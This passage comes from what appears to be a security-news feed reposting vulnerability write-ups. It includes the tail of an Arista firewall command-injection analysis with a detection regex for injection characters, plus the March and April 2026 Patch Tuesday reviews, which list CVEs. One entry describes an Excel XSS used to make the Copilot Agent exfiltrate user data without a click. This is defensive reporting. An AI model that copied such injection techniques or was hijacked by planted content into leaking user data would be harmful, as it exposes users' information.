If found, the traffic should be treated as suspicious; an attack exploiting this vulnerability is likely underway.

The following regular expression can be applied to find malicious requests:

          /\x22(HOST|URL)\x22\s*:\s*\x22(?:[^\x22\\]|\\.)*?[\x60\x27\x24\x3c]/

Notes:

‱ String matching on the request-URI and all JSON strings should be done in a case sensitive manner.
‱ The JSON strings may be encoded and must be decoded prior to applying this guidance.
‱ The request-URI may be URL-encoded and must be decoded before applying this guidance.

Conclusion

This vulnerability has been addressed by Arista with their Security Advisory 0123. They note that the Arista Edge Threat Management - Arista Next Generation Firewall (Formerly Untangle) is affected by this bug, but other product versions are not. They also state the following mitigation can be applied:

Do not allow non-authorized administrative access or access to the administrative browser.

However, the more appropriate action is to apply the provided vendor security patch by upgrading to version 17.4 or higher.

Special thanks to Jonathan Lein and Simon Humbert of the TrendAI Research team for providing such a thorough analysis of this vulnerability. For an overview of TrendAI Research services, please visit https://go.trendmicro.com/tis/vulnerabilities.html.

The threat research team will be back with other great vulnerability analysis reports in the future. Until then, follow the team on Twitter, Mastodon, LinkedIn, or Bluesky for the latest in exploit techniques and security patches.

]]> <![CDATA[The March 2026 Security Update Review]]> https://tsecurity.de/de/3694472/it-security-nachrichten/the-march-2026-security-update-review/ https://tsecurity.de/de/3694472/it-security-nachrichten/the-march-2026-security-update-review/ Sat, 25 Jul 2026 19:00:43 +0200 📰 IT Security Nachrichten tsecurity.de I am back in the friendly confines of the Mid-South headquarters of TrendAI ZDI (a.k.a. my home office), and am all set for the third patch Tuesday of 2026. Take a break from your regularly scheduled activities and let’s take a look at the latest security patches from Adobe and Microsoft.If you’d rather watch the full video recap covering the entire release, you can check it out here:

Adobe Patches for March 2026

For March, Adobe released eight bulletins addressing 80 unique CVEs in Adobe Acrobat Reader, Commerce, Illustrator, Substance 3D Painter, Premier Pro, Experience Manager, Substance 3D Stager, and the Adobe DNG Software Development Kit (SDK). Two of these bugs were submitted through the TrendAI ZDI program. If you need to prioritize, the update for Acrobat likely has the most impact, with the patch fixing two Critical-rated and one Important bugs. The fix for Experience Manager is the largest this month with 33 CVEs addressed. However, these are simple cross-site scripting (XSS) bugs, so it’s not too exciting. The fix for Commerce is also quite large with 19 CVEs. Most of these are also XSS bugs, but there’s a few security feature bypass bugs in there, too. Adobe actually gives this patch a deployment priority of 2, but it’s not under active attack at the time of release.

The fix for Illustrator corrects seven bugs, including a few Critical-rated ones. The patch for Substance 3D Painter fixes nine different CVEs, all rated Important. That’s not the case for Substance 3D Stager, which fixes six different Critical bugs that could lead to arbitrary code execution. The patch for the Adobe DNG Software Development Kit (SDK) addresses one Critical and one Important bug. Finally, the update for Premiere Pro correct a single, Critical-rated bug that could lead to arbitrary code execution.

None of the bugs fixed by Adobe this month are listed as publicly known or under active attack at the time of release, and beyond the update for Commerce, all of the other updates released by Adobe this month are listed as deployment priority 3.

Microsoft Patches for March 2026

This month, Microsoft released 84 new CVEs in Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, SQL Server, Hyper-V Server, and the Windows Resilient File System (ReFS). Counting the third-party and Chromium updates listed in the release, it brings to total number of CVEs to 94. Five of these bugs were reported through the TrendAI ZDI program. Eight of these bugs are rated Critical, and the rest are rated Important in severity.

This volume is relatively typical for a March release, and the lack of bugs under active attack is a nice change from last month. There are two vulnerabilities listed as publicly known at the time of release, but none listed as actively exploited.

Let’s take a closer look at some of the more interesting updates for this month, starting with a bug with an AI slant:

-    CVE-2026-26144 - Microsoft Excel Information Disclosure Vulnerability
This is a fascinating bug and an attack scenario we’re likely to see more often. The vulnerability is a simple cross-site scripting (XSS) bug in Excel, but an attacker could use it to cause the Copilot Agent to exfiltrate data off the target. This essentially makes it a zero-click information disclosure. Although not stated, the disclosure is likely at the level of the logged-on user, so there isn’t a privilege escalation component. Info disclosures rarely get rated Critical, but it makes sense here.

-    CVE-2026-26110/CVE-2026-26113 - Microsoft Office Remote Code Execution Vulnerability
Another month and another pair of Office bugs where the Preview Pane is an exploit vector. I’ve lost count of how many of these bugs have been patched over the last year, but it’s just a matter of time until they start appearing in active exploits. The latest versions of Outlook allow you to hide the Preview Pane, but it isn’t clear if this would mitigate these attacks. The best option is still to test and deploy the update, but considering how many of these patches exist, it’s likely further updates will be needed to fully address these issues.

-    CVE-2026-23669 - Windows Print Spooler Remote Code Execution Vulnerability
Just reading the title makes me twitch with remembrances of Print Nightmare from a few years ago. This bug works in the same manner as those exploits. An authenticated attacker sends specially crafted messages to an affected system to gain arbitrary code execution. No user interaction is required. Let’s hope we don’t end up in a new nightmare of spooler exploits. Test and deploy this one quickly.

-    CVE-2026-23668 - Windows Graphics Component Elevation of Privilege Vulnerability
This vulnerability was submitted to the ZDI program by Marcin Wiązowski as two separate bugs, and it demonstrates the need for variant investigations when creating security patches. Both cases are caused by the lack of proper locking when performing operations on an object. However, in one case, it’s in the cdd.dll driver while the other is in the win32kfull driver. Either way, an attacker could use these to elevate privileges to SYSTEM and execute arbitrary code. Since the fix for both is to add object locking to the GDI object, the cases are combined into a single CVE. That’s not a problem, but it does show how variants can occur, and fixes should be as broad as possible.

Here’s the full list of CVEs released by Microsoft for March 2026:

<![if supportMisalignedColumns]> <![endif]>
CVE Title Severity CVSS Public Exploited Type
CVE-2026-26127 .NET Denial of Service Vulnerability Important 7.5 Yes No DoS
CVE-2026-21262 SQL Server Elevation of Privilege Vulnerability Important 8.8 Yes No EoP
CVE-2026-23651 Microsoft ACI Confidential Containers Elevation of Privilege Vulnerability Critical 6.7 No No EoP
CVE-2026-26124 Microsoft ACI Confidential Containers Elevation of Privilege Vulnerability Critical 6.7 No No EoP
CVE-2026-26122 Microsoft ACI Confidential Containers Information Disclosure Vulnerability Critical 6.5 No No Info
CVE-2026-21536 Microsoft Devices Pricing Program Remote Code Execution Vulnerability Critical 9.8 No No RCE
CVE-2026-26144 Microsoft Excel Information Disclosure Vulnerability Critical 7.5 No No Info
CVE-2026-26110 Microsoft Office Remote Code Execution Vulnerability Critical 8.4 No No RCE
CVE-2026-26113 Microsoft Office Remote Code Execution Vulnerability Critical 8.4 No No RCE
CVE-2026-26125 Payment Orchestrator Service Elevation of Privilege Vulnerability Critical 8.6 No No EoP
CVE-2026-26131 .NET Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-25177 Active Directory Domain Services Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-26117 Arc Enabled Servers - Azure Connected Machine Agent Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-26130 ASP.NET Core Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-23661 Azure IoT Explorer Information Disclosure Vulnerability Important 7.5 No No Info
CVE-2026-23662 Azure IoT Explorer Information Disclosure Vulnerability Important 7.5 No No Info
CVE-2026-23664 Azure IoT Explorer Information Disclosure Vulnerability Important 7.5 No No Info
CVE-2026-26121 Azure IOT Explorer Spoofing Vulnerability Important 7.5 No No Spoofing
CVE-2026-26118 Azure MCP Server Tools Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-23667 Broadcast DVR Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-25190 GDI Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-25181 GDI+ Information Disclosure Vulnerability Important 7.5 No No Info
CVE-2026-26030 * GitHub: CVE-2026-26030 Microsoft Semantic Kernel InMemoryVectorStore filter functionality vulnerable Important 9.9 No No RCE
CVE-2026-23654 * GitHub: Zero Shot SCFoundation Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-26141 Hybrid Worker Extension (Arc-enabled Windows VMs) Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-23665 † Linux Azure Diagnostic extension (LAD) Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-23674 MapUrlToZone Security Feature Bypass Vulnerability Important 7.5 No No SFB
CVE-2026-26123 Microsoft Authenticator Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-26148 † Microsoft Azure AD SSH Login extension for Linux Elevation of Privilege Vulnerability Important 8.1 No No EoP
CVE-2026-25167 Microsoft Brokering File System Elevation of Privilege Vulnerability Important 7.4 No No EoP
CVE-2026-26107 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-26108 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-26109 Microsoft Excel Remote Code Execution Vulnerability Important 8.4 No No RCE
CVE-2026-26112 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-26134 Microsoft Office Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-26106 Microsoft SharePoint Server Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-26114 Microsoft SharePoint Server Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-26105 Microsoft SharePoint Server Spoofing Vulnerability Important 8.1 No No Spoofing
CVE-2026-24283 Multiple UNC Provider Kernel Driver Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-25165 Performance Counters for Windows Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-24282 Push message Routing Service Elevation of Privilege Vulnerability Important 5.5 No No Info
CVE-2026-26115 SQL Server Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-26116 SQL Server Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-20967 System Center Operations Manager (SCOM) Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-24285 Win32k Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-24291 Windows Accessibility Infrastructure (ATBroker.exe) Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-25186 Windows Accessibility Infrastructure (ATBroker.exe) Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-23660 † Windows Admin Center in Azure Portal Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-24293 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-25176 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-25178 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-25179 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-23656 Windows App Installer Spoofing Vulnerability Important 5.9 No No Spoofing
CVE-2026-25171 Windows Authentication Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-23671 Windows Bluetooth RFCOM Protocol Driver Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-24292 Windows Connected Devices Platform Service Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-24295 Windows Device Association Service Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-24296 Windows Device Association Service Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-25189 Windows DWM Core Library Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-25174 Windows Extensible File Allocation Table Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-25168 Windows Graphics Component Denial of Service Vulnerability Important 6.2 No No DoS
CVE-2026-25169 Windows Graphics Component Denial of Service Vulnerability Important 6.2 No No DoS
CVE-2026-23668 Windows Graphics Component Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-25180 Windows Graphics Component Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-25170 Windows Hyper-V Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-24297 Windows Kerberos Security Feature Bypass Vulnerability Important 6.5 No No SFB
CVE-2026-24287 Windows Kernel Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-24289 Windows Kernel Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-26132 Windows Kernel Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-24288 Windows Mobile Broadband Driver Remote Code Execution Vulnerability Important 6.8 No No RCE
CVE-2026-25175 Windows NTFS Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-23669 Windows Print Spooler Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-24290 Windows Projected File System Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-23673 Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-25172 Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-25173 Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability Important 8 No No RCE
CVE-2026-26111 Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-25185 Windows Shell Link Processing Spoofing Vulnerability Important 5.3 No No Spoofing
CVE-2026-24294 Windows SMB Server Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-26128 Windows SMB Server Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-25166 Windows System Image Manager Assessment and Deployment Kit (ADK) Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-25188 Windows Telephony Service Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-23672 Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-25187 Winlogon Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-3536 * Chromium: CVE-2026-3536 Integer overflow in ANGLE Critical N/A No No RCE
CVE-2026-3538 * Chromium: CVE-2026-3538 Integer overflow in Skia Critical N/A No No RCE
CVE-2026-3539 * Chromium: CVE-2026-3539 Object lifecycle issue in DevTools High N/A No No RCE
CVE-2026-3540 * Chromium: CVE-2026-3540 Inappropriate implementation in WebAudio High N/A No No RCE
CVE-2026-3541 * Chromium: CVE-2026-3541 Inappropriate implementation in CSS High N/A No No RCE
CVE-2026-3542 * Chromium: CVE-2026-3542 Inappropriate implementation in WebAssembly High N/A No No RCE
CVE-2026-3543 * Chromium: CVE-2026-3543 Inappropriate implementation in V8 High N/A No No RCE
CVE-2026-3544 * Chromium: CVE-2026-3544 Heap buffer overflow in WebCodecs High N/A No No RCE
CVE-2026-3545 * Chromium: CVE-2026-3545 Insufficient data validation in Navigation High N/A No No RCE

* Indicates this CVE had been released by a third party and is now being included in Microsoft releases.

† Indicates further administrative actions are required to fully address the vulnerability.

 

Looking at the other Critical-rated bugs in this month’s release, they are all cloud-native and require no user action. Microsoft has already remediated the vulnerabilities.

Moving on to the other code execution bugs, the vulnerabilities in SharePoint Server pop out first. Both require authentication, but it’s essentially the lowest level of authentication, so these would be ideal cases for lateral movement within an enterprise. There are the standard open-and-own cases within Office components. There an interesting sounding bug in the Windows Mobile Broadband Driver that requires physical access, but Microsoft doesn’t elaborate on the attack scenario beyond that fact. The bug in the System Image Manager Assessment and Deployment Kit (ADK) requires authentication. The bug in GDI requires user interaction. The remaining code execution bugs are in the RRAS protocol. We’ve seen bugs in this component in the past, but never in the wild. I wouldn’t ignore these, but I wouldn’t rush them out either.

Similar to last month, updates for Elevation of Privilege (EoP) bugs make up nearly half of this month’s release. And as we saw last month, but most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges. The bugs in SQL Server allow attackers to elevate to SQL sysadmin privileges. The bug in the Azure MCP Server is more complex. It allows attackers to obtain the permissions associated with the MCP Server’s managed identity, which lets them perform actions that the managed identity is able to reach. The bug in the Azure AD SSH Login extension for Linux leads to root access, and it won’t be easy to patch. You’ll need to run the update instructions from the command line on each affected system. That’s the same case for the bug in the Linux Azure Diagnostic extension (LAD). There’s an odd bug in the Hybrid Worker Extension (Arc‑enabled Windows VMs) that leads to “ELEVATED” privileges, which is something I’ve never seen before. The bug in the Broadcast DVR component allows an attacker to go from low integrity level up to medium. There’s a bug listed as an EoP in the Push message Routing Service, but reading the description, Microsoft notes it could lead to an information disclosure. It’s likely this is an error and should be an Information Disclosure bug. The final EoP is in the Azure Portal Windows Admin Center and leads to SYSTEM. However, there’s no patch to remediate this bug. Instead, you need to install the latest version of the Windows Admin Center extension through the Azure Portal by hand.

There are two security feature bypass patches in the March release. The first is a bypass of the MapURLToZone method, which (as expected) allows attackers to bypass MapURLToZone protections. The third bypass is in Kerberos and could allow an attacker to either view some sensitive information or make changes to “disclosed” information. This is a race condition that occurs while the group policy is being reapplied, so the window to exploit this would be extremely small.

Looking at the remaining info disclosure bugs getting patched this month, only two result in info leaks consisting of unspecified memory contents or memory addresses. Ther others provide more interesting results. There are three bugs in the Azure IoT Explorer have some wide-ranging implications. According to Microsoft, exploitation could result in, “device connection information, authentication tokens, request data, file paths, and other information transmitted between the application and the IoT Hub.” The bug in Authenticator almost reads like a security feature bypass, as exploit results in the disclosure of a one‑time sign‑in code or authentication deep link. The attacker would receive the sign‑in information and could potentially use it to authenticate as the user, allowing access to information or services available to that account. The last info disclosure bug is in the Accessibility Infrastructure and allows an attacker to gain secrets or privileged information belonging to the user of the affected application.

There are only four spoofing bugs in the March release. The first is in SharePoint server and manifests as an XSS. The second bug is a Server-Side Request Forgery (SSRF) in the Azure IoT Explorer. The remaining two are a bit more cryptic. The bug in Windows Shell Link Processing results from the “exposure of sensitive information to an unauthorized actor,” and could lead to spoofing. That sounds like credential exposure, but it’s not explicitly called out. The final spoofing bug results from the insufficient verification of data authenticity in Windows App Installer. Again, this sounds vaguely like credential reflection, but without further information, we can only speculate.

Finally, there are four denial-of-service (DoS) bugs in the release, including one that’s listed as publicly known in the .NET Framework. As usual, Microsoft provides no actionable information about these bugs.

No new advisories are being released this month.

Looking Ahead

I plan on being at RSA for the first time in my career, so if you’re around, please stop by and say hello. I like it when people say hello. Otherwise, I’ll be back on April 14 with my assessment of that patch Tuesday release. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!

]]> <![CDATA[The April 2026 Security Update Review]]> https://tsecurity.de/de/3694470/it-security-nachrichten/the-april-2026-security-update-review/ https://tsecurity.de/de/3694470/it-security-nachrichten/the-april-2026-security-update-review/ Sat, 25 Jul 2026 19:00:42 +0200 📰 IT Security Nachrichten tsecurity.de It’s time once again for Patch Tuesday, and this one is huge. We’ve also got multiple exploits in the wild, which adds another layer of urgency to this month’s release. Take a break from your regularly scheduled activities, and let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check it out here:

Adobe Patches for April 2026

For April, Adobe released 12 bulletins addressing 61 unique CVEs in Adobe Acrobat Reader, InDesign, InCopy, FrameMaker, Connect, ColdFusion, Bridge, Photoshop, Illustrator, Experience Manager Screens, and the Adobe DNG SDK. Three of the Cold Fusion bugs came through the TrendAI ZDI program. For this month, I’m introducing an Adobe table as well. I’d love to get your feedback on whether this is helpful.

Bulletin ID Product CVE Count Highest Severity Highest CVSS Exploited Deployment Priority
APSB26-43 Adobe Acrobat Reader 1 Critical 8.6 Yes 1
APSB26-44 Adobe Acrobat Reader 2 Critical 8.6 No 2
APSB26-32 Adobe InDesign 9 Critical 7.8 No 3
APSB26-33 Adobe InCopy 2 Critical 7.8 No 3
APSB26-36 Adobe FrameMaker 11 Critical 8.6 No 3
APSB26-37 Adobe Connect 9 Critical 9.6 No 3
APSB26-38 Adobe ColdFusion 7 Critical 9.3 No 1
APSB26-39 Adobe Bridge 6 Critical 7.8 No 3
APSB26-40 Adobe Photoshop 1 Critical 7.8 No 3
APSB26-42 Adobe Illustrator 1 Critical 7.8 No 3
APSB26-34 Adobe Experience Manager Screens 9 Important 5.4 No 3
APSB26-41 Adobe DNG SDK 3 Important 5.5 No 3

Obviously, the active attack in Reader is the highest priority for this month, but don’t ignore the second bunch of Reader patches. Cold Fusion also gets a deployment priority of 1, so if you’re still running that platform, make sure you get the update. Otherwise, the FrameMaker and Connect patches fix 11 and nine bugs, respectively. InDesign and Experience Manager Screens also have nine CVEs addressed.

Outside of the Reader bug, none of the other bugs fixed by Adobe this month are listed as publicly known or under active attack at the time of release. One of the Reader bugs and Cold Fusion have a deployment priority of one, the other Reader bug has a priority of two, while all of the other updates released by Adobe this month are listed as deployment priority 3.

Microsoft Patches for April 2026

This month, Microsoft released a monstrous 163 new CVEs in Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, SQL Server, Hyper-V Server, BitLocker, and the Windows Wallet Service. Counting the third-party and a huge Chromium release, it brings the total number of CVEs to a staggering 247 updates. Six of these bugs were reported through the TrendAI ZDI program. Eight of these bugs are rated Critical, two are rated as Moderate, and the rest are rated Important in severity.

By my count, this is the second-largest monthly release in Microsoft’s history. There are many things we could speculate on to justify the size, but if Microsoft is like the other programs out there (including ours), they are likely seeing a rise in submissions found by AI tools. For us, our incoming rate has essentially tripled, making triage a challenge, to say the least. Whatever the reason, we have a lot of bugs to deal with this month. I should also point out that the Pwn2Own Berlin occurs next month, and it’s typical for vendors to patch as much as they can before the event.

There is one Microsoft bug listed as under active attack at the time of release, and one other that’s publicly known. Let’s take a closer look at some of the more interesting updates for this month, starting with the vulnerability being exploited in the wild:

-    CVE-2026-32201 - Microsoft SharePoint Server Spoofing Vulnerability
Microsoft doesn’t provide a lot of information about this bug, but Spoofing bugs in SharePoint often manifest as cross-site scripting (XSS) bugs. They do note that attackers could view information or make changes to disclosed information. As always, they don’t provide any information on how widespread these attacks are, but I wouldn’t wait to test and deploy this fix – especially if you have internet-connected SharePoint servers.

-    CVE-2026-33825 - Microsoft Defender Elevation of Privilege Vulnerability
This bug is listed as publicly known, and this time, we know exactly where it was disclosed. There have been some questions about how exploitable this bug may be, but it does look like it’s a real problem – just with some reliability issues in its current state. I won’t add on to the commentary from the researcher about working with Microsoft. I’m just glad they are offering a fix for the vulnerability. If you rely on Defender, test and deploy this one quickly.

-   CVE-2026-33827 - Windows TCP/IP Remote Code Execution Vulnerability
This vulnerability allows remote, unauthenticated attackers to exploit code on affected systems without user interaction. That adds up to a wormable bug – at least on systems with IPv6 and IPSec enabled. It is a race condition, which sets exploitability to High on the CVSS scale, but we see race conditions exploited at Pwn2Own all the time, so don’t rely on that obstacle. If you’re running IPv6, I would test and deploy this fix quickly before public exploits become available.

-    CVE-2026-33824 - Windows Internet Key Exchange (IKE) Service Extensions Remote Code Execution Vulnerability
Speaking of wormable bugs, here’s our second one this month. By the title, we can tell that systems with IKE enabled are affected, but that leaves plenty of targets for attackers. Microsoft also notes a significant mitigation for this bug. Blocking UDP ports 500 and 4500 at the perimeter prevents external attackers from reaching the affected service. However, insiders could still target this for lateral movement within an enterprise. For enterprises using IKE, get this fix tested and deployed with haste.

Here’s the full list of CVEs released by Microsoft for April 2026:

April 2026 Patch Tuesday
CVE Title Severity CVSS Public Exploited Type
CVE-2026-32201 Microsoft SharePoint Server Spoofing Vulnerability Important 6.5 No Yes Spoofing
CVE-2026-5281 * Chromium: CVE-2026-5281 Use after free in Dawn High N/A No Yes RCE
CVE-2026-33825 Microsoft Defender Elevation of Privilege Vulnerability Important 7.8 Yes No EoP
CVE-2026-23666 .NET Framework Denial of Service Vulnerability Critical 7.5 No No DoS
CVE-2026-32190 Microsoft Office Remote Code Execution Vulnerability Critical 8.4 No No RCE
CVE-2026-33114 Microsoft Word Remote Code Execution Vulnerability Critical 8.4 No No RCE
CVE-2026-33115 Microsoft Word Remote Code Execution Vulnerability Critical 8.4 No No RCE
CVE-2026-32157 Remote Desktop Client Remote Code Execution Vulnerability Critical 8.8 No No RCE
CVE-2026-33826 Windows Active Directory Remote Code Execution Vulnerability Critical 8 No No RCE
CVE-2026-33824 Windows Internet Key Exchange (IKE) Service Extensions Remote Code Execution Vulnerability Critical 9.8 No No RCE
CVE-2026-33827 Windows TCP/IP Remote Code Execution Vulnerability Critical 8.1 No No RCE
CVE-2026-26171 .NET Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-32226 .NET Framework Denial of Service Vulnerability Important 5.9 No No DoS
CVE-2026-32178 .NET Spoofing Vulnerability Important 7.5 No No Spoofing
CVE-2026-32203 .NET and Visual Studio Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-33116 .NET, .NET Framework, and Visual Studio Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2023-20585 * AMD: CVE-2023-20585 IOMMU Write Buffer Vulnerability Important 5.3 No No RCE
CVE-2026-32072 Active Directory Spoofing Vulnerability Important 6.2 No No Spoofing
CVE-2026-25184 Applocker Filter Driver (applockerfltr.sys) Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-32171 Azure Logic Apps Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-32168 Azure Monitor Agent Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-32192 Azure Monitor Agent Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-32181 Connected User Experiences and Telemetry Service Denial of Service Vulnerability Important 5.5 No No DoS
CVE-2026-27924 Desktop Window Manager Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-32152 Desktop Window Manager Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-32154 Desktop Window Manager Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-27923 Desktop Window Manager Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-32155 Desktop Window Manager Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-23653 GitHub Copilot and Visual Studio Code Information Disclosure Vulnerability Important 5.7 No No Info
CVE-2026-23653 * GitHub: CVE-2026-32631 'git clone' from manipulated repositories can leak NTLM hashes Important 7.4 No No Info
CVE-2026-33096 HTTP.sys Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-25250 * MITRE: CVE-2026-25250 Secure Boot disable Eazy Fix Important 6 No No SFB
CVE-2026-26181 Microsoft Brokering File System Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-32219 Microsoft Brokering File System Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-32091 Microsoft Brokering File System Elevation of Privilege Vulnerability Important 8.4 No No EoP
CVE-2026-26152 Microsoft Cryptographic Services Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-33103 Microsoft Dynamics 365 (On-Premises) Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-32188 Microsoft Excel Information Disclosure Vulnerability Important 7.1 No No Info
CVE-2026-32189 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-32197 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-32198 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-32199 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-32184 Microsoft High Performance Compute (HPC) Pack Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-26155 Microsoft Local Security Authority Subsystem Service Information Disclosure Vulnerability Important 6.5 No No Info
CVE-2026-27914 Microsoft Management Console Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-26149 Microsoft Power Apps Security Feature Bypass Important 9 No No SFB
CVE-2026-32200 Microsoft PowerPoint Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-26143 Microsoft PowerShell Security Feature Bypass Vulnerability Important 7.8 No No SFB
CVE-2026-33120 † Microsoft SQL Server Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-20945 Microsoft SharePoint Server Spoofing Vulnerability Important 4.6 No No Spoofing
CVE-2026-33822 Microsoft Word Information Disclosure Vulnerability Important 6.1 No No Info
CVE-2026-33095 Microsoft Word Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-23657 Microsoft Word Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-32081 Package Catalog Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-26170 PowerShell Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-26183 Remote Access Management service/API (RPC server) Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-26160 Remote Desktop Licensing Service Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-26159 Remote Desktop Licensing Service Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-26151 Remote Desktop Spoofing Vulnerability Important 7.1 No No Spoofing
CVE-2026-32085 Remote Procedure Call Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-32167 SQL Server Elevation of Privilege Vulnerability Important 6.7 No No EoP
CVE-2026-32176 SQL Server Elevation of Privilege Vulnerability Important 6.7 No No EoP
CVE-2026-0390 UEFI Secure Boot Security Feature Bypass Vulnerability Important 6.7 No No SFB
CVE-2026-32220 UEFI Secure Boot Security Feature Bypass Vulnerability Important 4.4 No No SFB
CVE-2026-32212 Universal Plug and Play (upnp.dll) Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-32214 Universal Plug and Play (upnp.dll) Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-32079 Web Account Manager Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-33104 Win32k Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-32196 Windows Admin Center Spoofing Vulnerability Important 6.1 No No Spoofing
CVE-2026-26178 Windows Advanced Rasterization Platform Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-32073 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-26168 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-26173 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-26177 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7 No No EoP
